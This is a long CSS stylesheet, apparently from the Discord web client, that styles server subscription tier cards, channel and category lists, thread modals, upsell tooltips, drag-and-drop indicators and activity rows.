.tierPreviewsContainer-1vY76b { position: absolute; left: 0px; right: 0px; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; min-width: 0px; overflow-x: auto; padding: 0px 68px; }

.tierPreviews-2kDBKp, .tierPreviewsContainer-1vY76b { display: flex; }

.tierPreviews-2kDBKp { -webkit-box-pack: center; justify-content: center; gap: 16px; margin: auto; }

.button-2BDZ6Y { position: relative; background: linear-gradient(90deg,hsl(160,calc(var(--saturation-factor, 1)*81.3%),35.7%),hsl(198,calc(var(--saturation-factor, 1)*81.5%),46.7%)); color: rgb(255, 255, 255); height: 40px; font-weight: 600; }

.buttonContents-1wzakt { -webkit-box-pack: center; justify-content: center; display: flex; }

.icon-1hQKxb { margin-right: 4px; }

.shine-2ZH9Mj { position: absolute; left: 37%; right: 0px; top: 0px; }

.container-3fBxP8 { display: flex; }

.emojiContainer-3ThrF9 { margin-right: 16px; }

.emojiIcon-2JALvo { width: 20px; height: 20px; }

.name-2LcVjQ { font-weight: 500; margin-bottom: 2px; }

.channelNameContainer-2CWp-_ { display: flex; -webkit-box-align: center; align-items: center; }

.infoContainer-1DeAGL { -webkit-box-flex: 1; flex: 1 1 0%; }

.headerContainer-2LeB2M { width: 100%; height: 146px; position: relative; }

.headerImage-z5I9Ih { width: 100%; height: 100%; object-fit: cover; }

.closeContainer-I_UCY1 { width: 24px; height: 24px; display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; position: absolute; top: 16px; right: 16px; background-color: rgba(0, 0, 0, 0.85); border-radius: 50%; cursor: pointer; }

.closeIcon-FU2Lm_ { width: 16px; height: 16px; color: var(--interactive-normal); }

.tierImageContainer-1rnjo3 { width: 80px; height: 80px; padding: 8px; background-color: var(--background-primary); border-radius: 50%; position: absolute; bottom: -48px; left: calc(50% - 48px); }

.tierImage-1VTuqK { width: 100%; height: 100%; border-radius: 50%; object-fit: cover; }

.confirmationContainer-3DfIt2 { margin-top: 56px; }

.confirmationHeader-24hZJO { text-align: center; margin-bottom: 8px; color: var(--header-secondary); }

.confirmationHeader-24hZJO strong { color: var(--header-primary); }

.confirmationSubtitle-3F9U3t { text-align: center; margin-bottom: 32px; }

.confirmationSectionLabel-1N2inR { font-family: var(--font-display); margin-bottom: 8px; text-transform: uppercase; font-weight: 600; letter-spacing: 0.02em; }

.confirmationBenefits-1v6fzT { gap: 8px; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; margin-bottom: 32px; }

.confirmationBenefitCard-12Eldr { background-color: var(--background-secondary); border-radius: 8px; padding: 16px; }

.confirmationButton-3Cph7I { margin: auto; }

.container-ZWLsXL { position: relative; width: 320px; margin-bottom: 100px; overflow: hidden; border-radius: 8px 8px 0px 0px; }

.tierDraftIndicator-zddaxs { position: absolute; left: 0px; right: 0px; border-radius: 8px 8px 0px 0px; background-color: hsl(38,calc(var(--saturation-factor, 1)*95.7%),54.1%); display: flex; -webkit-box-pack: center; justify-content: center; font-family: var(--font-display); font-size: 12px; line-height: 16px; text-transform: uppercase; }

.tierInfoContainer-339kWj { text-align: center; background-color: var(--background-tertiary); padding: 32px 16px 16px; }

.tierName-1TKjwA { margin-bottom: 16px; font-family: var(--font-display); }

.tierImage-3IrYiX { width: 80px; height: 80px; border-radius: 50%; background-color: var(--background-accent); margin-bottom: 16px; object-fit: cover; }

.tierPrice-2hokaw { margin-bottom: 2px; font-weight: 600; }

.tierPeriod-ekrZfa, .tierPrice-2hokaw { font-family: var(--font-display); }

.tierPeriod-ekrZfa { text-transform: uppercase; margin-bottom: 16px; letter-spacing: 0.02em; }

.subscriptionPerks-pSXakj { background-color: var(--background-secondary); padding: 16px; border-radius: 0px 0px 8px 8px; }

.roleMessagePreview-1uiR6k { padding: 12px 0px; background-color: var(--background-primary); border-radius: 4px; border: 1px solid var(--background-modifier-accent); }

.sectionHeader-1uTA0j { font-family: var(--font-display); text-transform: uppercase; font-weight: 600; letter-spacing: 0.02em; }

.benefitsSection-3JX7gI:not(:last-child) { border-bottom: 1px solid rgba(255, 255, 255, 0.06); padding-bottom: 16px; margin-bottom: 16px; }

.benefitsList-3VQuZc { gap: 16px; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.container-3WJWv8 { -webkit-box-flex: 1; flex: 1 1 0%; background-color: var(--background-primary); overflow-y: scroll; position: relative; }

.heroContainer-2m83D7 { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-align: center; align-items: center; margin-bottom: 32px; }

.coverImage-lwz3GQ { width: 100%; height: 282px; object-fit: cover; }

.guildIconContainer--Z6Jgv { padding: 8px; background-color: var(--background-primary); border-radius: 50%; margin-top: -58px; margin-bottom: 24px; }

.ctaTitle-WRCF93 { max-width: 640px; color: var(--header-secondary); text-align: center; margin-bottom: 8px; }

.ctaTitle-WRCF93 strong { color: var(--header-primary); }

.ctaSubtitle-1pk9-t { max-width: 640px; text-align: center; }

.tierPreviewsContainer-Coseao { position: absolute; left: 0px; right: 0px; overflow-x: auto; padding: 0px 68px; }

.tierPreviews-CRSMiA, .tierPreviewsContainer-Coseao { display: flex; }

.tierPreviews-CRSMiA { -webkit-box-pack: center; justify-content: center; gap: 16px; margin: auto; }

.container-2c6UAD { -webkit-box-flex: 1; flex: 1 1 0%; display: flex; }

.container-3w7J-x { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-align: stretch; align-items: stretch; -webkit-box-pack: start; justify-content: flex-start; -webkit-box-flex: 1; flex: 1 1 auto; min-height: 0px; position: relative; background-color: var(--background-secondary); }

.subscribeTooltipHeader-Cf_Izr, .subscribeTooltipText-3d3QxF { color: rgb(255, 255, 255); text-align: center; }

.subscribeTooltipText-3d3QxF { margin-top: 4px; font-weight: 400; }

.subscribeTooltipWrapper-1JoUuw { max-width: 280px; padding: 16px; background-color: var(--brand-experiment); border-radius: 8px; box-shadow: var(--elevation-medium); }

.subscribeTooltipWrapper-1JoUuw::after { content: " "; position: absolute; bottom: 100%; left: 50%; margin-left: -8px; border-top: 8px solid transparent; border-right: 8px solid transparent; border-left: 8px solid transparent; border-image: initial; border-bottom: 8px solid var(--brand-experiment); }

.varUpsellTooltip-1P8Jpo { max-width: 220px; }

.varUpsell-3rw6f_ { padding: 8px 0px; }

.varUpsellTitle-2TnDwT { font-weight: 700; margin-bottom: 8px; }

.varUpsellBody-1SRfWC { text-align: center; }

.tooltip-1Il2gT p { margin: 12px 0px; }

.tooltip-1Il2gT p:first-of-type { margin-top: 0px; }

.tooltip-1Il2gT p:last-of-type { margin-bottom: 0px; }

.tooltipPremiumGuildProfileAsset-G2sUS6 { display: block; margin: 0px auto 8px; width: 195px; height: 165px; }

.tooltipAnimatedGuildBannerAsset-1qEcSw, .tooltipPremiumProgressBarAsset-2XHPIi { height: auto; width: 100%; margin: 0px auto 16px; display: block; }

.buttonsContainer-HN4P78 { display: flex; -webkit-box-pack: center; justify-content: center; margin: 16px auto 0px; }

.buttonsContainer-HN4P78 :nth-child(2) { margin-left: 8px; }

.fullWidth-coUPTY { width: 100%; }

.stageUpsellInline-2wqhMS { display: inline; margin: 0px 2px; background-color: rgba(255, 255, 255, 0.1); padding: 2px 6px; border-radius: 12px; color: rgb(255, 255, 255); }

.stageDescription-1nrkEe { margin: 8px 0px 16px; color: rgb(255, 255, 255); }

.hubContainer-rHk7iS { margin: 14px 0px 0px; }

.image-2EAlcf { display: flex; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; margin-bottom: 16px; }

.header-3EwbJF { padding: 16px 24px 0px; -webkit-box-flex: 0; flex-grow: 0; }

.closeButton-4LBYOH { position: absolute; top: 12px; right: 9px; }

.tabBar-3MtEvO { width: calc(100% + 12px); display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; margin-top: 20px; border-bottom: 2px solid var(--background-modifier-accent); }

.tabBarItem-2sxElp { padding: 0px 0px 12px; margin: 0px 16px -2px; }

.selectedTab-29dwYe { font-weight: 600; }

.guildList-2TgSqd { margin-top: 20px; padding: 0px 8px 8px 16px; height: 276px; }

.title-1trl6A { font-weight: 700; }

.subtitle-2Zhgtc, .title-1trl6A { margin-top: 8px; text-align: center; }

.guildRow-35jjhr { margin-bottom: 8px; display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-align: center; align-items: center; -webkit-box-pack: justify; justify-content: space-between; border-radius: 8px; border: 1px solid var(--background-modifier-accent); background-color: var(--background-primary); padding: 12px 16px 12px 12px; }

.clickableGuildRow-31yQQo { cursor: pointer; }

.clickableGuildRow-31yQQo:hover { background-color: var(--background-modifier-hover); }

.clickableGuildRow-31yQQo:active { background-color: var(--background-modifier-active); }

.guildName-GeVAOH { margin-left: 16px; -webkit-box-flex: 1; flex: 1 1 0%; font-weight: 600; }

.footer-2pLi9a { -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-align: center; align-items: center; }

.footerTitle-1XVXdA { margin-bottom: 8px; }

.footerButton-3ZBvhg { align-self: stretch; }

.emptyContainer-3igXli { box-sizing: border-box; width: 100%; height: 100%; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; }

.emptyImage-3_Eu72 { height: 96px; }

.emptyText-1yC1e0 { margin: 24px 0px; }

.overflowIcon-19KJKA, .trashIcon-16rdgr { cursor: pointer; display: flex; color: var(--interactive-normal); }

.overflowIcon-19KJKA:hover, .trashIcon-16rdgr:hover { color: var(--interactive-hover); }

.overflowIcon-19KJKA:active, .trashIcon-16rdgr:active { color: var(--interactive-active); }

.header-2BScRX { padding: 32px; text-align: center; }

.closeButton-1CBhme { position: absolute; top: 12px; right: 9px; }

.title-34N6Ti { font-weight: 700; margin-top: 24px; }

.subTitle-3SyDmm { margin-top: 8px; }

.buttonRow-1nlKdZ { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; }

.addConfirmButton-3_2SPy { width: 100%; }

.createConfirmButton-3njwP8, .createSecondaryButton-2oxrEp { -webkit-box-flex: 1; flex: 1 1 0%; }

.createSecondaryButton-2oxrEp { margin-right: 8px; }

.header-lpMT0b { padding: 16px 24px 0px; -webkit-box-flex: 0; flex-grow: 0; }

.closeButton-3B3L2u { position: absolute; top: 12px; right: 9px; }

.templatesList-2GYOU6 { margin-top: 16px; padding: 0px 8px 8px 16px; height: 330px; }

.title-1hTJEU { font-weight: 700; }

.subtitle-VsQq8b, .title-1hTJEU { margin-top: 8px; text-align: center; }

.optionHeader-Sc3x4H { margin-top: 16px; margin-bottom: 8px; font-weight: 700; text-transform: uppercase; }

.footer-fKFJXi { -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; padding: 24px 16px; }

.container-1O4ciH { width: 440px; max-height: 580px; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.optionItem-2VncuF { margin-left: 8px; margin-right: 8px; color: var(--header-secondary); }

.selectedOptionItem-3v62YZ { background: var(--brand-experiment); color: rgb(255, 255, 255); }

.selectedOptionItem-3v62YZ.selectedOptionItem-3v62YZ { color: rgb(255, 255, 255); }

.selectedOptionItem-3v62YZ.selectedOptionItem-3v62YZ .itemInner-UDJ4Ex { background-color: var(--brand-experiment); }

.container-3qpZp9 { margin: -8px 0px 0px 8px; cursor: pointer; }

.textArea-2Z3RtC { height: 24px; -webkit-box-pack: justify; justify-content: space-between; -webkit-box-align: center; align-items: center; margin-bottom: 8px; }

.goalTextContainer-30Wr7E, .textArea-2Z3RtC { display: flex; }

.bar-1ILjdu { border-radius: 2px; height: 4px; }

.progressBarContainer-cCu8a2 { position: relative; margin-bottom: 8px; width: 100%; }

.progressBarContainerComplete-2bR-jh { width: calc(100% - 8px); }

.progressBar-1oVG_J { position: absolute; z-index: 2; background: linear-gradient(90deg,hsl(221,calc(var(--saturation-factor, 1)*70%),55.5%),hsl(269,calc(var(--saturation-factor, 1)*83.8%),71%)); }

.progressFraction-mZ6Hpe { display: flex; -webkit-box-align: center; align-items: center; }

.tadaIcon-Eobray { position: absolute; right: 0px; transform: translate(calc(100% - 5px), -3px); font-size: 10px; z-index: 2; }

.count-5I_vKX { color: var(--interactive-normal); }

.goalText-v9GgLa { font-weight: 700; text-transform: uppercase; }

.flowerStar-1NkOjr { margin-right: 4px; color: var(--background-accent); }

.divider-3HbLTj { margin-bottom: 4px; }

.tier3Icon-2iAKNJ { color: hsl(302,calc(var(--saturation-factor, 1)*100%),72.5%); }

.theme-dark .tier1Icon-1HqiIe, .theme-dark .tier2Icon-2Brq6c { color: var(--interactive-active); }

.theme-dark .divider-3HbLTj { border-top: 1px solid rgba(255, 255, 255, 0.06); }

.theme-dark .progressBarContainer-cCu8a2 { background-color: var(--background-floating); }

.theme-light .tier1Icon-1HqiIe, .theme-light .tier2Icon-2Brq6c { color: rgb(255, 255, 255); }

.theme-light .divider-3HbLTj { border-top: 1px solid rgba(220, 221, 222, 0.6); }

.theme-light .progressBarContainer-cCu8a2 { background-color: var(--background-tertiary); }

.modal-1m5svq { background-color: var(--background-secondary); border-radius: 8px; min-height: 400px; height: 60vh; width: 600px; }

.container-2QXVMm { background-color: var(--background-secondary); border-radius: 8px; box-sizing: border-box; cursor: default; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; overflow: auto; -webkit-box-flex: 1; flex: 1 1 0%; }

.container-2QXVMm, .header-2Lx45W { display: flex; }

.header-2Lx45W { background-color: var(--background-tertiary); height: 48px; -webkit-box-align: center; align-items: center; min-height: 48px; padding: 0px 16px; }

.spacer-92O0Tk { -webkit-box-flex: 1; flex-grow: 1; }

.threadIcon-2MSzTG { margin-right: 8px; }

.closeIcon-1uyrYX, .threadIcon-2MSzTG { color: var(--interactive-normal); }

.closeIcon-1uyrYX { cursor: pointer; }

.closeIcon-1uyrYX:hover { color: var(--interactive-hover); }

.wrapper-2jXpOf { padding: 1px 0px; overflow: visible; position: relative; }

.typeThread-3ESTm- .content-1x5b-n { margin-left: 36px; padding: 0px 6px; }

.wrapper-2jXpOf.modeSelected-346R90 { cursor: default; }

.wrapper-2jXpOf.modeLocked-25wLHj { cursor: not-allowed; }

.icon-1DeIlz { display: block; width: 20px; height: 20px; -webkit-box-flex: 0; flex: 0 0 auto; }

.iconContainer-1BBaeJ { position: relative; margin-right: 6px; }

.content-1x5b-n { position: relative; box-sizing: border-box; padding: 0px 8px; margin-left: 8px; border-radius: 4px; display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-align: center; align-items: center; }

.content-1x5b-n:active { transform: translateZ(0px); }

.mainContent-u_9PKf { -webkit-box-flex: 1; flex: 1 1 auto; box-sizing: border-box; display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-align: center; align-items: center; min-width: 0px; padding: 6px 0px; cursor: pointer; }

.mainContent-u_9PKf::before { content: ""; display: block; position: absolute; inset: -1px 0px; }

.name-23GUGE { font-size: 16px; line-height: 20px; font-weight: 500; -webkit-box-flex: 1; flex: 1 1 auto; white-space: normal; }

.channelName-2YrOjO, .subtitle-3V1p2E { white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }

.unread-2lAfLh { position: absolute; height: 8px; width: 4px; border-radius: 0px 4px 4px 0px; top: 50%; left: 0px; margin-top: -4px; }

.children-3rEycc { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; -webkit-box-flex: 0; flex: 0 0 auto; }

.modeMuted-onO3r- .icon-1DeIlz, .modeMuted-onO3r- .name-23GUGE { color: var(--interactive-muted); }

.modeSelected-346R90 .icon-1DeIlz, .modeSelected-346R90:hover .icon-1DeIlz, .modeUnread-1qO3K1 .icon-1DeIlz, .modeUnread-1qO3K1:hover .icon-1DeIlz { color: var(--text-muted); }

.wrapper-2jXpOf:hover .content-1x5b-n { background-color: var(--background-modifier-hover); }

.wrapper-2jXpOf:active .content-1x5b-n { background-color: var(--background-modifier-active); }

.modeSelected-346R90 .content-1x5b-n, .modeSelected-346R90:hover .content-1x5b-n { background-color: var(--background-modifier-selected); }

.icon-1DeIlz { color: var(--text-muted); }

.name-23GUGE { color: var(--channels-default); }

.modeMuted-onO3r-:hover .name-23GUGE, .wrapper-2jXpOf:hover .name-23GUGE { color: var(--interactive-hover); }

.modeConnected-3IsKId .name-23GUGE, .modeConnected-3IsKId:hover .name-23GUGE, .modeSelected-346R90 .name-23GUGE, .modeSelected-346R90:hover .name-23GUGE, .modeUnread-1qO3K1 .name-23GUGE, .modeUnread-1qO3K1:hover .name-23GUGE, .notInteractive-1X92pj.modeConnected-3IsKId .name-23GUGE, .notInteractive-1X92pj.modeSelected-346R90 .name-23GUGE { color: var(--interactive-active); }

.unread-2lAfLh { background-color: var(--interactive-active); }

.message-15tBk4 { cursor: default; }

.message-15tBk4 strong { color: var(--brand-experiment-530); background: var(--brand-experiment-15a); padding: 0px 2px; border-radius: 3px; font-weight: 500; unicode-bidi: plaintext; }

.theme-dark .message-15tBk4 strong { background: var(--brand-experiment-30a); color: var(--brand-experiment-200); }

.buttonSpacing-t6MPeJ { margin-left: 10px; }

.containerDefault-3tr_sE, .containerDragAfter-Zk9oyx, .containerDragBefore-1YqewQ, .containerUserOver-98-yc7 { position: relative; padding-top: 16px; }

.containerDefault-3tr_sE:active, .containerDragAfter-Zk9oyx:active, .containerDragBefore-1YqewQ:active, .containerUserOver-98-yc7:active { transform: translateZ(0px); }

.containerDragAfter-Zk9oyx::before, .containerDragBefore-1YqewQ::before { content: ""; position: absolute; z-index: 1; left: 8px; right: 0px; height: 4px; background-color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); border-radius: 2px; box-shadow: rgba(0, 0, 0, 0.4) 0px 0px 3px; }

.containerDragBefore-1YqewQ::before { top: -2px; }

.containerDragAfter-Zk9oyx::before { bottom: -2px; }

.containerUserOver-98-yc7::after { box-sizing: border-box; content: ""; position: absolute; inset: 0px 0px 0px 8px; border-radius: 4px; z-index: 1; background-color: hsla(139,calc(var(--saturation-factor, 1)*47.3%),43.9%,0.1); border: 2px solid hsla(139,calc(var(--saturation-factor, 1)*47.3%),43.9%,0.5); }

.disableClick-2cV7sZ { pointer-events: none; }

.addButton-3bLyEA { width: 18px; height: 18px; display: none; }

.addButton-3bLyEA.forceVisible-2L54of, .iconVisibility-fhcwiH:hover .addButton-3bLyEA { display: block; }

.addButton-3bLyEA:focus, .addButton-3bLyEA:focus-within { display: block; position: relative; }

.addButtonIcon-2CbG1X:hover { color: var(--interactive-hover); }

.addButtonIcon-2CbG1X:active { transform: translateY(0.5px); color: var(--interactive-active); }

.wrapper-PY0fhH { position: relative; box-sizing: border-box; height: 24px; padding-right: 8px; padding-left: 16px; display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: justify; justify-content: space-between; cursor: default; color: var(--channels-default); }

.clickable-536fPF { cursor: pointer; }

.children-L002ao { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; -webkit-box-flex: 0; flex: 0 0 auto; }

.children-L002ao:empty { display: none; }

.mainContent-2h-GEV { -webkit-box-flex: 1; flex: 1 1 auto; overflow: hidden; }

.mainContent-2h-GEV::before { content: ""; display: block; position: absolute; inset: 0px; }

.icon-2yIBmh { position: absolute; left: 2px; top: 6px; width: 12px; height: 12px; }

.collapsed-2-tg8y .icon-2yIBmh { transform: rotate(-90deg); }

.wrapper-PY0fhH.muted-2JBAyG, .wrapper-PY0fhH.muted-2JBAyG .name-3l27Hl { color: var(--interactive-muted); }

.wrapper-PY0fhH.muted-2JBAyG:hover .icon-2yIBmh, .wrapper-PY0fhH.muted-2JBAyG:hover .name-3l27Hl, .wrapper-PY0fhH:hover .icon-2yIBmh, .wrapper-PY0fhH:hover .name-3l27Hl { color: var(--interactive-hover); }

.containerDefault--pIXnN, .containerDragAfter-3Fp7LC, .containerDragBefore-3iTCc7, .containerUserOver-2mv1jO { position: relative; transition: opacity 0.2s ease-in-out 0s; }

.containerDragAfter-3Fp7LC::after, .containerDragBefore-3iTCc7::before { content: ""; position: absolute; z-index: 1; left: 8px; right: 0px; height: 4px; background-color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); border-radius: 2px; box-shadow: rgba(0, 0, 0, 0.4) 0px 0px 3px; }

.containerDragBefore-3iTCc7::before { top: -2px; }

.containerDragAfter-3Fp7LC::after { bottom: -2px; }

.containerUserOver-2mv1jO::after { box-sizing: border-box; content: ""; position: absolute; inset: 0px 0px 0px 8px; border-radius: 4px; z-index: 1; background-color: hsla(139,calc(var(--saturation-factor, 1)*47.3%),43.9%,0.1); border: 2px solid hsla(139,calc(var(--saturation-factor, 1)*47.3%),43.9%,0.5); }

.iconBase-3LOlfs { position: relative; padding: 6px 2px; cursor: pointer; line-height: 0; }

.iconItem-F7GRxr { display: none; }

.mentionsBadge-3tC7Mi { pointer-events: none; }

.containerDefault--pIXnN.selected-3LIHYU .iconItem-F7GRxr, .iconVisibility-sTNpHs:focus-within .iconItem-F7GRxr, .iconVisibility-sTNpHs:focus .iconItem-F7GRxr, .iconVisibility-sTNpHs:hover .iconItem-F7GRxr { display: block; }

.iconItem-F7GRxr:focus, .iconItem-F7GRxr:focus-within { display: block; position: relative; }

.disableClick-2FmYNV { pointer-events: none; }

.disabled-33BAPP > div { opacity: 0.3; }

.actionIcon-PgcMM2 { width: 16px; height: 16px; display: block; }

.actionIcon-PgcMM2:active { transform: translateY(0.5px); }

.userLimit-3aerPX { display: block; }

.containerDefault--pIXnN.selected-3LIHYU .userLimit-3aerPX, .iconVisibility-sTNpHs:focus-within .userLimit-3aerPX, .iconVisibility-sTNpHs:focus .userLimit-3aerPX, .iconVisibility-sTNpHs:hover .userLimit-3aerPX { display: none; }

.actionIcon-PgcMM2 { color: var(--interactive-normal); }

.iconItem-F7GRxr:hover .actionIcon-PgcMM2 { color: var(--interactive-hover); }

.actionIcon-PgcMM2:active { color: var(--interactive-active); }

.iconLive-3cjv0g { color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%) !important; }

.premiumChannelIcon-Ij0Km- { display: block; }

.container-3JKcAb { position: relative; }

.spine--Wla_O { color: var(--background-accent); left: 22px; position: absolute; top: 8px; }

.liveIndicator-vaS2et { margin-left: 10px; padding-left: 4px; padding-right: 4px; border-radius: 8px; background-color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); color: rgb(255, 255, 255); font-weight: 600; text-transform: uppercase; }

.audienceVoiceUserContainer-Ra-ErA { height: 32px; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; }

.audienceVoiceUserContainer-Ra-ErA, .audienceVoiceUserIconContainer-29oflP { display: flex; -webkit-box-align: center; align-items: center; }

.audienceVoiceUserIconContainer-29oflP { margin-left: 8px; margin-right: 8px; padding: 4px; -webkit-box-pack: center; justify-content: center; background-color: var(--background-tertiary); color: var(--interactive-normal); border-radius: 50%; }

.audienceVoiceUserText-BhGzmw { color: var(--channels-default); font-weight: 500; }

.iconLive-AtZKgD { color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%) !important; }

.popout-APcvZm { background-color: var(--background-tertiary); border-radius: 4px; box-sizing: border-box; left: 16px; max-width: 300px; min-width: 272px; padding: 0px 12px; position: absolute; top: 0px; }

.more-3VADkW, .row-1ImlrZ, .title-3JU2Q6 { padding: 12px 4px; }

.title-3JU2Q6 { font-weight: 700; text-transform: uppercase; margin-top: 2px; padding-bottom: 8px; }

.row-1ImlrZ, .title-3JU2Q6 { -webkit-box-align: center; align-items: center; display: flex; }

.row-1ImlrZ { border-radius: 4px; color: var(--interactive-normal); padding: 8px; margin: 0px -4px; }

.row-1ImlrZ:hover { background-color: var(--brand-experiment); color: rgb(255, 255, 255); cursor: pointer; }

.avatar-3oP4LX { flex-shrink: 0; height: 16px; margin-right: 8px; width: 16px; }

.bullet-_MbFpS { margin: 0px 8px; }

.timestamp-25yOdb { color: var(--text-muted); flex-shrink: 0; white-space: nowrap; }

.row-1ImlrZ:hover .timestamp-25yOdb { color: rgb(255, 255, 255); }

.name-1Rd7lI { overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }

.more-3VADkW { -webkit-box-align: center; align-items: center; border-top: 1px solid var(--background-modifier-accent); color: var(--text-link); cursor: pointer; display: flex; font-weight: 600; margin-top: 8px; padding-top: 8px; padding-bottom: 10px; }

.more-3VADkW:hover { text-decoration: underline; }

.container-35XQWE { position: absolute; z-index: 2; overflow: hidden; padding: 8px; height: 24px; pointer-events: none; }

.bar-30k2ka { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; position: relative; font-size: 12px; line-height: 16px; font-family: var(--font-display); font-weight: 600; color: rgb(255, 255, 255); height: 24px; cursor: pointer; text-transform: uppercase; border-radius: 12px; pointer-events: auto; box-shadow: rgba(0, 0, 0, 0.24) 0px 2px 6px; -webkit-app-region: no-drag; }

.active-1SSsBb:active { top: 1px; }

.unread-1xRYoj { background-color: var(--background-accent); opacity: 0.9; }

.unread-1xRYoj:active, .unread-1xRYoj:hover { opacity: 1; }

.mention-1f5kbO { background-color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); opacity: 0.9; }

.mention-1f5kbO:hover { opacity: 1; }

.mention-1f5kbO:active { opacity: 1; background-color: hsl(359,calc(var(--saturation-factor, 1)*66.7%),54.1%); }

.icon-2aINcz, .text-2e2ZyG { display: block; }

.icon-2aINcz { color: rgb(255, 255, 255); margin-left: 2px; width: 12px; height: 12px; }

.container-1JlpAi { background-color: var(--background-floating); border-radius: 8px; padding: 16px; box-shadow: var(--elevation-high),var(--elevation-stroke); display: flex; -webkit-box-align: start; align-items: flex-start; }

.content-yRQWBL { margin-left: 24px; max-width: 320px; }

.buttonContainer-15ADiW { margin-top: 16px; display: flex; }

.primaryButton-1cpVhw { margin-right: 24px; }

.cancel-2CYseG { color: var(--interactive-normal); }

.cancel-2CYseG:hover { color: var(--interactive-hover); }

.cancel-2CYseG:active { color: var(--interactive-active); }

.image-3gx4Uc { width: 64px; height: 64px; }

.container-2dqNWc { width: 284px; border-radius: 5px; margin-left: 16px; padding: 16px; max-height: 348px; box-shadow: var(--elevation-high); background-color: var(--background-floating); }

.activity-3jdl2U + .activity-3jdl2U { padding-top: 16px; margin-top: 16px; border-top: 1px solid var(--background-modifier-accent); }

.partyMembers-3pB2CJ { -webkit-box-flex: 1; flex: 1 1 0%; display: flex; -webkit-box-pack: end; justify-content: flex-end; }

.partyAvatar-1Bvt5q { cursor: default; }

.morePartyMembers-3ByVZj { z-index: 2; font-size: 8px; height: 16px; min-width: 16px; line-height: 16px; text-align: center; border-radius: 8px; padding: 0px 6px; box-sizing: border-box; }

.button-uXr0L2 { color: var(--interactive-active); border-color: var(--interactive-muted); border-radius: 4px; }

.button-uXr0L2:not([disabled]):hover { border-color: var(--interactive-active); }

.list-1AoNM- { display: flex; -webkit-box-pack: start; justify-content: flex-start; }

.listDefault-3Huwgs { -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-flow: column nowrap; -webkit-box-align: stretch; align-items: stretch; }

.listCollapse-1_oYH0 { flex-wrap: wrap; -webkit-box-align: start; align-items: flex-start; }

.activityRow-2FZXn1, .listCollapse-1_oYH0 { -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; }

.activityRow-2FZXn1 { cursor: pointer; justify-content: stretch; padding-left: 8px; margin-top: 1px; margin-bottom: 1px; }

.activityRow-2FZXn1, .content-bGAvz5 { display: flex; }

.content-bGAvz5 { position: relative; border-radius: 4px; -webkit-box-flex: 1; flex-grow: 1; color: var(--channels-default); margin-left: 28px; -webkit-box-pack: justify; justify-content: space-between; -webkit-box-align: center; align-items: center; }

.separator-1APq0v { display: block; margin-top: 3px; margin-bottom: 3px; margin-left: 36px; width: calc(100% - 16px); height: 1px; background-color: var(--background-modifier-selected); }

.activityInfo-3Xnc5Q { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-pack: center; justify-content: center; }

.rowSmall-3UrDL9 { height: 32px; }

.wrapper-2wLvM_:hover .content-bGAvz5 { background-color: var(--background-modifier-hover); }

.wrapper-2wLvM_:active .content-bGAvz5 { background-color: var(--background-modifier-active); }

.listCollapse-1_oYH0 .content-bGAvz5 { margin-left: 8px; }

.activity-1ixT7k { -webkit-box-flex: 1; flex: 1 1 auto; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; }

.activityFont-3X-Q4I { font-size: 14px; line-height: 18px; font-weight: 500; }

.icon-3YDIIh { margin: 0px 8px; width: 24px; height: 24px; }

.iconTooltipContainer-DRMmvt { line-height: 0; }

.iconTooltip-N3oJoK { display: -webkit-box; -webkit-line-clamp: 2; -webkit-box-orient: vertical; overflow: hidden; }

.iconSpacing-14rbUi { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; -webkit-box-flex: 0; flex: 0 0 auto; margin-left: 4px; }

.icon-3YDIIh { color: var(--channels-default); }

.listDefault-3Huwgs .clickable-3vB-yG:hover .content-bGAvz5 { color: var(--interactive-active); background-color: var(--background-modifier-hover); }

.listDefault-3Huwgs .clickable-3vB-yG:active .content-bGAvz5 { color: var(--interactive-active); background-color: var(--background-modifier-active); }

.listDefault-3Huwgs .clickable-3vB-yG.selected-2BSuU_ .content-bGAvz5 { color: var(--interactive-active); background-color: var(--background-modifier-selected); }

.disabled-1p_oXD { opacity: 0.5; }

.disabled-1p_oXD:hover { opacity: 1; }

